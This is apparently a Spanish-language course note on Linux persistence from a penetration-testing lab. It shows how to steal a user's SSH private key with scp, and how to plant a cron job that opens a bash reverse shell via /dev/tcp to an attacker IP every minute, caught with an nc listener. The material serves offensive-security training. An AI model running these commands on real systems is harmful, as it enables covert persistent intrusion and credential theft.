# Linux Persistence

## <mark style="color:red;">Persistence Via SSH Keys</mark>

Linux se suele implementar como un sistema operativo de servidor y, como resultado, los servidores Linux suelen accederse de forma remota a través de servicios o protocolos como SSH.

Si SSH está habilitado y en ejecución en un sistema Linux que ha comprometido, puede aprovechar la configuración de SSH para establecer un acceso persistente en el sistema de destino.

En la mayoría de los casos, los servidores Linux tendrán habilitada la autenticación basada en clave para el servicio SSH, lo que permite a los usuarios acceder al sistema Linux de forma remota sin necesidad de una contraseña.

Después de obtener acceso a un sistema Linux, podemos transferir la clave privada SSH de una cuenta de usuario específica a nuestro sistema y usar esa clave privada SSH para todas las autenticaciones y accesos futuros.

### <mark style="color:blue;">Demo: Persistence Via SSH Keys</mark>

```bash
ssh student@192.63.238.3
# Cuando inicie session tendra algunas carpetas
ls -al
# La que estamos buscando se suele llamar ".ssh"

# Ver informacion del archivo wait y vea para que sirve por que se utilizara mas
# adelante
cat wait

# Ingreasamos a la carpeta .ssh
cd .ssh/
# Dentro de la carpeta tenemos la clave privada "id_rsa"
# Cuando genere ssh keys, tambien tendra la clave publica "id_rsa.pub"
# Recordar para que sirve o que contiene el archivo "autorization"

# Descargamos el archivo que contiene la clave privada
scp student@192.63.238.3:~/.ssh/id_rsa .
# Considerar eliminar el archivo "wait"
# por que simula que el usuario student cambio de contrasena

# En kali (lugar donde transferio la clave privada)
chmod 400 id rsa

# La conexion lo hacemos por la llave privada
ssh -i id_rsa student@192.63.238.3


```

### <mark style="color:blue;">**Quiz: Persistence Via SSH Keys**</mark>

<figure><img src="https://3865955348-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq6EbWaVGD8u7EsCoWlTH%2Fuploads%2FBggZwvkn9mrnFGelbgq4%2F%7B175BD909-C8D3-4B08-BECF-74723F901E07%7D.png?alt=media&#x26;token=37f18d32-afbe-4ca1-b8ec-093f35c37345" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">Persistence Via Cron Jobs</mark>

Linux implementa la programación de tareas a través de una utilidad llamada Cron. Cron es un servicio basado en el tiempo que ejecuta aplicaciones, scripts y otros comandos repetidamente según un cronograma específico.

Una aplicación o script que se ha configurado para ejecutarse repetidamente con Cron se conoce como un trabajo Cron.

Podemos usar trabajos cron para ejecutar un comando o script en un intervalo fijo para garantizar que tengamos acceso persistente al sistema de destino.

### <mark style="color:blue;">Anatomy Of A Cron Job</mark>

<figure><img src="https://3865955348-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq6EbWaVGD8u7EsCoWlTH%2Fuploads%2FsOACrYi32QzXdVguX02d%2F%7BA2C0E84D-6B1A-4DA0-BE26-FF579EECE548%7D.png?alt=media&#x26;token=e3e135a5-38da-44d0-9c23-3a324d527d3a" alt=""><figcaption></figcaption></figure>

( \* \* \* \* \* ) significa que el trabajo cron se ejecutará cada minuto de cada hora de cada día de cada mes y todos los días de la semana.

### <mark style="color:blue;">Demo: Persistence Via Cron Jobs</mark>

```bash
cat /etc/cron*

# Ccreamos el job
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.166.95.2/1234 0>&1'" > cron

cat cron
# Agregar crontab de linux
crontab -i cron
crontab -l


# Atacante tiene que escuchar los intentos de conexion
nc -nvlp 1234
```

### <mark style="color:blue;">**Quiz: Persistence Via Cron Jobs**</mark>

<figure><img src="https://3865955348-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq6EbWaVGD8u7EsCoWlTH%2Fuploads%2Ft3e4hCEZXhVGX7BZMOTH%2F%7B902BACDC-0042-472E-B86C-121E633EA521%7D.png?alt=media&#x26;token=5b91a891-2134-4b65-bc7c-4edca6aaeca3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3865955348-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fq6EbWaVGD8u7EsCoWlTH%2Fuploads%2F7WDlZ5FMaSez1M5MqLBV%2F%7B9D563DA0-9C18-4127-B804-34AD35C2EE67%7D.png?alt=media&#x26;token=0f732c07-d9f7-4ccb-83b3-c77f8f6ecfa7" alt=""><figcaption></figcaption></figure>
